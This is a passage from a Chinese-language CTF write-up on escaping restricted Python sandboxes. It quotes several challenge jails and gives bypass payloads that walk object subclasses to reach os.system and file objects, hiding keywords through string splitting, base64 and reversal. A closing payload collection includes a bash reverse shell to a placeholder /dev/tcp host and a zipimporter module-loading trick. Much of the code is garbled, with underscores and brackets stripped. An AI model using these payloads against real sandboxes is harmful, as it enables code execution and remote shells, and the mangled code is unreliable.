for x in targets:
    del __builtins__.__dict__[x]
while 1:
    print(">>>", end=' ')
    data = raw_input()
    for no in banned:
        if no.lower() in data.lower():
            print("No bueno")
            break
    else: # this means nobreak
        exec data

由源码能够知道没有ban reload函数,因此思路能够是reload内建函数。可是尝试后reload(builtins)不正确。又由于题目只ban了builtins里的函数,因此能够尝试经过继承关系完成(见上面的A->os示例,使用了<class ‘site._Printer’>)

print("".class.mro[2].subclasses()[72].init.globals[‘os’]).system(‘dir’)
显然上面的os是被禁用的,因此须要使用字符串变形(见上文),这里使用经常使用的base64处理
print("".class.mro[2].subclasses()[72].init.globals[‘b3M=’.decode(‘base64’)]).system(‘dir’)
还有其余的payload可供分析:
print(().class.bases[0].subclasses()[59].init.func_globals[‘linecache’].dict[‘o’+‘s’].dict’sy’+‘stem’)



3.hackuctf 2012

def make_secure():
	UNSAFE = [****]
	 
	for func in UNSAFE:
		del __builtins__.__dict__[func] 
	
from re import findall

#Remove dangerous builtins
make_secure()
print'Go Ahead, Expoit me >;D'
whileTrue: 
	try:
		print ">>>",
		 # Read user input until the firstwhitespace character 
		inp = findall('\S+',raw_input())[0]
		a = None 25.         
	         # Set a to the result from executingthe user input
		exec 'a=' + inp         
	        print '>>>', a
	except Exception, e: 
	         print 'Exception:', e

运行后效果和平时的python命令行界面差很少只不过少了一些“敏感函数”。好像没ban os?直接import os看一下。

Go Ahead, Expoit me >;D
>>> import os
Exception: invalid syntax (<string>, line 1)
>>> import os
Exception: invalid syntax (<string>, line 1)

太天真。。确定会ban,又不是什么签到题。
这里就须要结合上面继承和文件两部分的内容来绕过了,算是比较简单的一道题了。

>>> ().__class__.__bases__[0]
>>> <type 'object'>
>>> ().__class__.__bases__[0].__subclasses__()
>>> [<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]
>>> ().__class__.__bases__[0].__subclasses__()[40]
>>> <type 'file'>
>>> ().__class__.__bases__[0].__subclasses__()[40]("./flag").read()
Exception: [Errno 2] No such file or directory: './flag'   #由于我本地没有设置一个flag的文件因此会报错,实际已经完成了读取的操做了。


4.future

#!/usr/bin/envpython
 from __future__ import print_function 
 print("Welcometo my Python sandbox! Enter commands below!")
 banned= [****]
 targets= __builtins__.__dict__.keys()
 targets.remove('raw_input')
 targets.remove('print')
 
 for x in targets:
 	del __builtins__.__dict__[x]
 while 1:
 	print(">>>", end='')
 	data = raw_input()
	 for no in banned:
		 if no.lower() in data.lower():
 			print("No bueno")
			break
  		else:
 		  # this means nobreak 
  		exec data

通过尝试可使用catch_warnings类(索引59),而且使用字符串拼接的方式来实现(也能够经过其余途径)来构造。

Welcometo my Python sandbox! Enter commands below!
>>>().__class__.__bases__[0].__subclasses__()[59]
>>>().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
'1.ISCC 2016 Pwn300 pycalc.py'  2future.py  '3.hackuctf 2012.py'   4..py


5.cuit2017

#-*-coding:utf-8-*- 
#!/usr/bin/python3 
import sys, cmd, os 
del__builtins__.__dict__['__import__'] 
del__builtins__.__dict__['eval'] 
intro= """ pwnhubcuit pwneverything Rules: -No import -No ... -No flag """ 
 
defexecute(command): 
    exec(command, globals()) 
 
classJail(cmd.Cmd): 
    prompt    = '>>> ' 
    filtered   ='***'.split('|') 
 
    def do_EOF(self, line): 
        sys.exit() 
 
    def emptyline(self): 
        return cmd.Cmd.emptyline(self) 
 
    def default(self, line): 
        sys.stdout.write('\x00') 
 
    def postcmd(self, stop, line): 
        if any(f in line for f in self.filtered): 
            print("You are a big hacker!!!") 
            print("Go away") 
        else: 
           try: 
                execute(line) 
           except NameError: 
                print("NameError: name'%s' is not defined" % line) 
           except Exception: 
                print("Error: %s" %line) 
        return cmd.Cmd.postcmd(self, stop,line) 
 
if__name__ == "__main__": 
    try: 
        Jail().cmdloop(intro) 
    except KeyboardInterrupt: 
        print("\rSee you next time!")

这题不只ban函数,还ban了符号。

pwnhubcuit
pwneverything
Rules:
    -No import
    -No ...
    -No flag
>>> ().__class__.__bases__[0].__subclasses__()
You are a big hacker!!!
Go away
>>> ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
You are a big hacker!!!
Go away
>>> print(().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls'))
You are a big hacker!!!
Go away
>>> print()
>>> print(getattr(os,"system")("ls")) 
'1.ISCC 2016 Pwn300 pycalc.py' '3.hackuctf 2012.py'   5.cuit2017.py


payload集锦

你们能够阅读这些收集而来的payload,虽然题目或者环境总不必定是这些方法,可是本质都是同样的理解了怎么构造,思路天然来的清晰。

print [].class.base.subclasses()40.read() #查看文件


().class.bases[0].subclasses()40.read()
至关于:().class.bases[0].subclasses()40).read() #字符串的处理上还能够用其余的不少


[].class.base.subclasses()[60].init.getattribute(‘func_global’+‘s’)[‘linecache’].dict.values()[12]>


print [].class.base.subclasses()[59].init.func_globals[‘linecache’].dict.values()[12].dict.values()144 linecache中查找os模块执行系统命令


getattr(import(‘types’).builtinstropmi’[::-1], ‘mets’ ‘ys’[::-1])(‘whoami’)


().class.bases[0].subclasses()[59].init.func_globals[‘linecache’].dict[‘o’+‘s’].dict’sy’+‘stem’


().class.bases[0].subclasses()[59].init.getattribute(‘func_global’+‘s’)[‘linecache’].dict[‘o’+‘s’].dict’popen’.read()


print(().class.bases[0].subclasses()[59].init.func_globals[‘linecache’].dict[‘o’+‘s’].dict’sy’+‘stem’)


{}.class.bases[0].subclasses()[71].getattribute({}.class.bases[0].subclasses()[71].init.func,‘func’+’_global’ +‘s’)[‘o’+‘s’].popen(‘bash -c “bash -i >& /dev/tcp/xxx/xxx 0<&1 2>&1”’) #自模块中寻找os模块 执行系统命令


print [].class.base.subclasses()40.read()


print [].class.base.subclasses()40.read()


print [].class.base.subclasses()40.read()


print [].class.base.subclasses()40.read() #读取重要信息


code = “PK\x03\x04\x14\x03\x00\x00\x08\x00\xec\xb9\x9cL\x15\xa5\x99\x18;\x00\x00\x00>\x00\x00\x00\n\x00\x00\x00Err0rzz.pySV\xd0\xd5\xd2UH\xceO\xc9\xccK\xb7R(-I\xd3\xb5\x00\x89pqe\xe6\x16\xe4\x17\x95(\xe4\x17sq\x15\x14e\xe6\x81Xz\xc5\x95\xc5%\xa9\xb9\x1a\xea9\xc5\n\xba\x899\xea\x9a\\x00PK\x01\x02?\x03\x14\x03\x00\x00\x08\x00\xec\xb9\x9cL\x15\xa5\x99\x18;\x00\x00\x00>\x00\x00\x00\n\x00$\x00\x00\x00\x00\x00\x00\x00 \x80\xa4\x81\x00\x00\x00\x00Err0rzz.py\n\x00 \x00\x00\x00\x00\x00\x01\x00\x18\x00\x00\xd6\x06\xb2p\xdf\xd3\x01\x80\x00\xads\xf9\xa7\xd4\x01\x80\x00\xads\xf9\xa7\xd4\x01PK\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00\\x00\x00\x00c\x00\x00\x00\x00\x00”
print [].class.base.subclasses()40.write(code)
print [].class.base.subclasses()40.read()
[].class.base.subclasses()55.load_module(‘Err0rzz’) #构造zip module使用zipimporter


x = [x for x in [].class.base.subclasses() if x.name == ‘ca’+‘tch_warnings’][0].init


x.getattribute(“func_global”+“s”)[‘linecache’].dict[‘o’+‘s’].dict’sy’+‘stem’


x.getattribute(“func_global”+“s”)[‘linecache’].dict[‘o’+‘s’].dict[‘sy’+‘stem’](‘l’+‘s /home/ctf’)


x.getattribute(“func_global”+“s”)[‘linecache’].dict[‘o’+‘s’].dict’sy’+‘stem’

5.供参考资料/源码下载

习题源码下载 https://www.jianshu.com/p/290709f50861 https://www.freebuf.com/articles/system/203208.html https://www.cnblogs.com/hf99/p/9753376.html https://www.jianshu.com/p/5d339d60e390 https://www.cnblogs.com/-qing-/p/11656544.html